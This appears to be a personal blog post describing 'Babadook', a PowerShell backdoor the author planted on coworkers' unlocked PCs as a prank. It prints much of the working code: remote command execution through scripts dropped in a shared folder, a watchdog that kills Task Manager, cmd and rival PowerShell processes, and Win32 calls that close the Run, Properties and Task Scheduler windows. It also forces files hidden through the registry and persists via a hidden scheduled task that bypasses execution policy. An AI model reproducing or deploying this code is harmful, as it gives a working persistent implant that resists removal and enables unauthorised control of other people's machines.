Babadook: Connection-less Powershell Persistent and Resilient “Backdoor”
At my previous company I used to prank the colleagues who left their stations unlocked. I call this my “internal awareness program”.
It was all fun and games at the beginning. I would leave post-its on their monitors with a friendly message “You could’ve been hacked” but it wasn’t giving the expected results. Some colleagues found it funny and started “collecting” my post-its. There was a guy in particular with 5 of them. It was evident harder measures had to be taken.
I’ve escalated the awareness program by replacing post-its to emailing the whole team with the message “I was reckless and left my computer unlocked”. Everybody would laugh about it but still wasn’t giving the needed outcome: People locking their desktops when away from the station.
Overcoming restrictions
I came to the conclusion that my colleagues would only learn the lesson if in fact they got hacked somehow, so I decided to make a backdoor so I’d be able to mess with their machines remotely.
Turns out that we were in a fairly constrained environment:
- No direct connections between machines: VLAN isolation
- User-only access, no admin privileges, cannot install anything
- Corporate anti-virus in use, cannot use off-the-shelf solutions
So I started thinking what could I do with what I had in hands. As we were using Windows 7, one powerful tool came to my mind: POWERSHELL. Aw yiss!
I still needed to overcome some situations, no direct connections, inability to open sockets and so on.
As we were all members of the same team, we had access to the some shared folders and that was the vector that popped my mind. I would place a script on this shared folder and my backdoor would read this script and kinda eval()
it. Simple and effective.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
$SharePath = "\\ournas\ourteamfolder\somesubfolder"
$MyPID = $([System.Diagnostics.Process]::GetCurrentProcess()).Id
$Interval = 10
$CurrMachineCmdPath = "$($SharePath)\cmd.$($env:COMPUTERNAME).$($MyPID).ps1"
# ... some code
# Command parsing loop
While ($true) {
If (Test-Path $CurrMachineCmdPath) {
Try {
& $CurrMachineCmdPath
Clear-Content $CurrMachineCmdPath
} Catch [system.exception] {
Log "Error running script: $_"
}# end :: try/catch
}# end :: if
Start-Sleep $Interval
}#end :: while
|
So by using the shared folder strategy and using powershell I’d solve the isolation problem AND the antivirus problem at once. I’ve added Clear-Content
so the script would only run the code once.
I’ve skipped lunch for a day and rigged a quick and dirty POC. Tested on my machine, found a colleague that had left the machine unlocked and BAM, it was working.
After some days of fun, they started figuring out and killing my powershell process from the task manager. I needed to make the backdoor resilient.
Enter Babadook
The name came from an excellent scary movie (I trully recomend you to watch it!) I’d seen a while ago called The Babadook @ IMDB, which had the quote “If it’s in a word or in a look, you can’t get rid of the Babadook”.
That’s the motto I would follow to my backdoor. Make it unkillable as long as reasonably possible. Stealthiness wasn’t a big deal. Once I’d started playing the “Super Mario Theme Song” on their PC Speakers my presence would be spotted.
I kinda also wanted them to know and after some while after they came back to their stations and realized they had left it unlocked, they knew they had been pranked.
Multi-threading and the Watchdog routine
I quickly concluded that I’d needed to make my backdoor multi-threaded to have something watching my back while the main routine was waiting for commands. Powershell’s “Jobs” functionality would fit.
I’ve created a Watchdog function which were merely a while ($True)
loop sending Stop-Process -processname taskmgr
and ignoring errors (if the Task Manager wasn’t running).
I did the same for cmd.exe
, wscript.exe
and cscript.exe
just to be safe.
1
2
3
4
|
Stop-Process -processname taskmgr -Force -ErrorAction SilentlyContinue
Stop-Process -processname cmd -Force -ErrorAction SilentlyContinue
Stop-Process -processname wscript -Force -ErrorAction SilentlyContinue
Stop-Process -processname cscript -Force -ErrorAction SilentlyContinue
|
This also effectively blocks running .bat
and .vbs
files since the interpreter has no chance to fully load before being killed by Babadook.
That worked for a while until IT released a GPO update blocking powershell remoting and thus blocking the use of powershell Jobs. *sadface*
So the quest for an alternative began and remembering how powershell and .NET integrate beautifully I was sure I could use some Somelongnamespace.Threading.Something
.NET voodoo to accomplish that. Turned out the solution was way easier by using powershell’s Runspaces.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
$Watchdog = { # code here }
# "If it's in a word or in a look, you can't get rid of the babadook"
$Global:BabadookWatchdog = [PowerShell]::Create().AddScript($Watchdog)
$Global:WatchdogJob = $Global:BabadookWatchdog.BeginInvoke()
# ... code ...
# Stop Watchdog
If ($Global:BabadookWatchdog -And $Global:WatchdogJob) {
Log "Stopping Babadook Watchdog"
# No EndInvoke because we won't return (while true loop) and we don't care about the return anyway
$Global:BabadookWatchdog.Dispose() | Out-Null
Log "Watchdog disposed"
}# end :: if
|
It worked as a charm! My watchdog was up again killing Task Manager immediatly as the window would (try) to appear. My colleagues were going crazy.
NOTE: Up to this moment I’ve been facing some issues with BeginInvoke
which seems to fail to run ever once in a while, still debugging this issue. With Jobs I’ve never had this issue, instead I had issues where when the Job wasn’t properly stopped, it would run forever and required a reboot to die since the Watchdog wouldn’t let me open a powershell session.
There can be only one
In order to ensure that nobody would try to play smart and open a powershell window and try to use the Get-Process
and Stop-Process
to try to kill my backdoor, I’ve added the functionality to the watchdog to kill all powershell processes which were not his own. Upon start I’d save my process ID into a variable and use that to check the other powershell processes.
1
2
3
4
5
6
7
8
|
Function Kill-PS {
Stop-Process -processname powershell_ise -Force -ErrorAction SilentlyContinue # Kill powershell_ise.Exe
# Kill powershell processes which are not me
$AllPS = [array] $(Get-Process | Where-Object { $_.ProcessName -eq "powershell" -And $_.Id -ne "$MyPID" })
If ($AllPS.Count -gt 0) {
ForEach ($Proc in $AllPS) { Stop-Process -Id $Proc.ID -Force -ErrorAction SilentlyContinue }# end :: foreach
}# end :: if
}# end :: Kill-PS
|
Also, no Powershell ISE here!
You can’t Run but I can hide!
At the same time my colleagues were desperately trying to kill Babadook, I was also doing the same to ensure I could cover the holes before they were able to get to it.
I’ve realized that someone could just invoke the taskill
command directly from the “Run” dialog and that was bad (for me), so I needed a way to prevent that dialog from coming up. As this is a built-in dialog and not a process, I wasn’t able to take down on the classical way (with Stop-Process
) so I’ve appealed to .NET extensions to grab some Windows API calls in order to enumerate the foreground window and if the title was what I wanted, kaboom!.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
Add-Type @"
using System;
using System.Runtime.InteropServices;
using System.Text;
public class APIFuncs
{
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern int GetWindowText(IntPtr hwnd,StringBuilder lpString, int cch);
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
public static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
public static extern Int32 GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll", SetLastError=true, CharSet=CharSet.Auto)]
public static extern int SendMessage(int hWnd, uint Msg, int wParam, int lParam);
public const int WM_SYSCOMMAND = 0x0112;
public const int SC_CLOSE = 0xF060;
}
"@
Function Kill-Run {
$ForegroundWindow = [apifuncs]::GetForegroundWindow()
$WindowTextLen = [apifuncs]::GetWindowTextLength($ForegroundWindow)
$StringBuffer = New-Object text.stringbuilder -ArgumentList ($WindowTextLen + 1)
$ReturnLen = [apifuncs]::GetWindowText($ForegroundWindow,$StringBuffer,$StringBuffer.Capacity)
$WindowText = $StringBuffer.tostring()
if ($WindowText -eq "Run") {
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
}# end :: if
}# end :: Kill-Run
|
Hiding in plain sight
To add a sleight of fear, I’d thought it would be nice to hide my Babadook files since if my victim could find the command script on the shared folder, he could add some code there to kill Babadook and end my party, so a little code to get this sorted out was added to the Watchdog:
1
2
3
4
5
6
|
Function Hide-Me {
If (Test-Path $ScriptPath) { $(Get-Item $ScriptPath -Force).Attributes = "Archive,Hidden" }
If (Test-Path $CurrMachineCmdPath) { $(Get-Item $CurrMachineCmdPath -Force).Attributes = "Archive,Hidden" }
If (Test-Path $LogPath) { $(Get-Item $LogPath -Force).Attributes = "Archive,Hidden" }
Set-ItemProperty HKCU:\\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced -Name Hidden -Value 2 # Don't display hidden files
}# end :: Hide-Me
|
The last line adds an entry to the Registry turning on the option “Don’t display system and hidden files”. As this was on the While ($true)
loop, even if the user turned that off, it would be turned back on immediately.
Take no shortcuts
With my anti-kill countermeasures in place, I was thinking on more ways to kill Babadook to improve the Watchdog, so it came to my mind that one could create a shortcut for taskill
so I’ve made a little modification to my “Run Killer”:
1
2
3
4
5
6
7
|
# ... some code
if ($WindowText -eq "Run" -Or $WindowText.Contains("Properties")) {
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
}# end :: if
# ... more code
|
That would take care of popping out the “Properties” dialog out of any file. Booya!
When everything else fails, reboot!
I’m sure there are some other ways to kill my process but that was enough for the moment (and I needed to get some lunch anyway). So people started realizing that a reboot was the only way to get rid of the Babadook.
I couldn’t leave this that way and needed a a persistence method. I first thought about the “Run” key on the registry but that might need admin privileges, so why not resort to our well known scheduled tasks?
Popped up a code to copy the Babadook script to the local machine with a random name and create the new task to run “At Logon”, “On Idle” and “Daily at 8AM”.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
function Babadook-Persist
{
$CharSet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray()
$NewName = $(Get-Random -InputObject $CharSet -Count 8 | % -Begin { $randStr = $null } -Process { $randStr += [char]$_ } -End { $randStr }) + ".ps1"
$NewPath = "$($env:LOCALAPPDATA)\$($NewName)"
Install-Task $NewPath
}# end :: Babadook-Persist
function Install-Task ($BBDPath) {
$CommandArguments = "-executionpolicy bypass -windowstyle hidden -f `"$($BBDPath)`""
$taskRunAsuser = [Environment]::UserDomainName +"\" + $env:USERNAME
$service = new-object -com("Schedule.Service")
$service.Connect()
$rootFolder = $service.GetFolder("\")
Try {
$rootFolder.GetTask("\Babadook") | Out-Null
Log "Babadook persist task already installed"
} Catch {
Log "Copying Babadook to local machine at `"$($BBDPath)`""
Copy-Item $script:MyInvocation.MyCommand.Path $BBDPath -Force
Log "Installing Babadook persist task"
$taskDefinition = $service.NewTask(0)
$regInfo = $taskDefinition.RegistrationInfo
$regInfo.Description = 'Ba-ba-ba DOOK DOOK DOOK'
$regInfo.Author = $taskRunAsuser
$settings = $taskDefinition.Settings
$settings.Enabled = $True
$settings.StartWhenAvailable = $True
$settings.Hidden = $True
$triggers = $taskDefinition.Triggers
# Triger time
$triggerDaily = $triggers.Create(2)
$triggerDaily.StartBoundary = "$(Get-Date -Format 'yyyy-mm-dd')T08:00:00"
$triggerDaily.DaysInterval = 1
$triggerDaily.Enabled = $True
# Trigger logon
$triggerLogon = $triggers.Create(9)
$triggerLogon.UserId = $taskRunAsUser
$triggerLogon.Enabled = $True
# Trigger Idle
$triggerIdle = $triggers.Create(6)
$triggerIdle.Enabled = $True
$Action = $taskDefinition.Actions.Create(0)
$Action.Path = 'powershell.exe'
$Action.Arguments = $CommandArguments
$rootFolder.RegisterTaskDefinition( 'Babadook', $taskDefinition, 6, $null , $null, 3) | Out-Null
}# end :: try/catch
}# End :: Install-Task
|
For more information on Task Scheduler options, check the MSDN Technet documentation.
That was working beautifully until I realized I needed some concurrency control. Of course my “There can be only one” code would kill the competitors but I needed something more elegant and Mutexes
came to my mind. Added a code for that also:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
# Wait for mutex
[bool]$MutexWasCreated = $false
$BabadookMutex = New-Object System.Threading.Mutex($true, $BabadookMutexName, [ref] $MutexWasCreated)
if (!$MutexWasCreated) {
Log "Babadook Mutex found, waiting release..."
$BabadookMutex.WaitOne() | Out-Null
Log "Babadook Mutex acquired"
} else {
Log "Babadook Mutex installed"
}# end :: if
# ... code ...
# Release Mutex
Log "Releasing Babadook Mutex"
$BabadookMutex.ReleaseMutex();
$BabadookMutex.Close();
|
And of course I needed to prevent them from opening the “Scheduled Tasks” dialog. Since a Stop-Process
to the mmc
process was giving me “Access Denied” (it runs in some kind of UAC), I needed to take the .NET approach. Modified my “IF” to consider that:
1
2
3
|
if ($WindowText -eq "Run" -Or $WindowText.Contains("Properties") -Or $WindowText.Contains("Task Scheduler")) {
[void][apifuncs]::SendMessage($ForegroundWindow, [apifuncs]::WM_SYSCOMMAND, [apifuncs]::SC_CLOSE, 0)
}# end :: if
|
Recap
So far we got:
- Connection-less command execution (full powershell language incl. .NET extensions + system()-like with
Start-Process
) - Watchdog / Userkit (userland “root”kit)
- Persistence
- Concurrency control
And that worked well enough for me :)
It’s not about the money
So if you read until here you might probably been wondering: “Did you really skipped those lunches just to mess up your colleagues?”
Well, kinda. It was a great learning and they surely got the message. No one now leaves their session unlocked. :)
When the news hit my team leader (how they called the Boss at the company) he saw this was a good way to show upper management and the other teams the dangers of an insider, how basic malware works and escalated the Babadook as a truly internal awareness program, so it turned out to be a great deal for everyone (except for a few really pissed off teammates).
Code
As always, you can get the Babadook source at my github.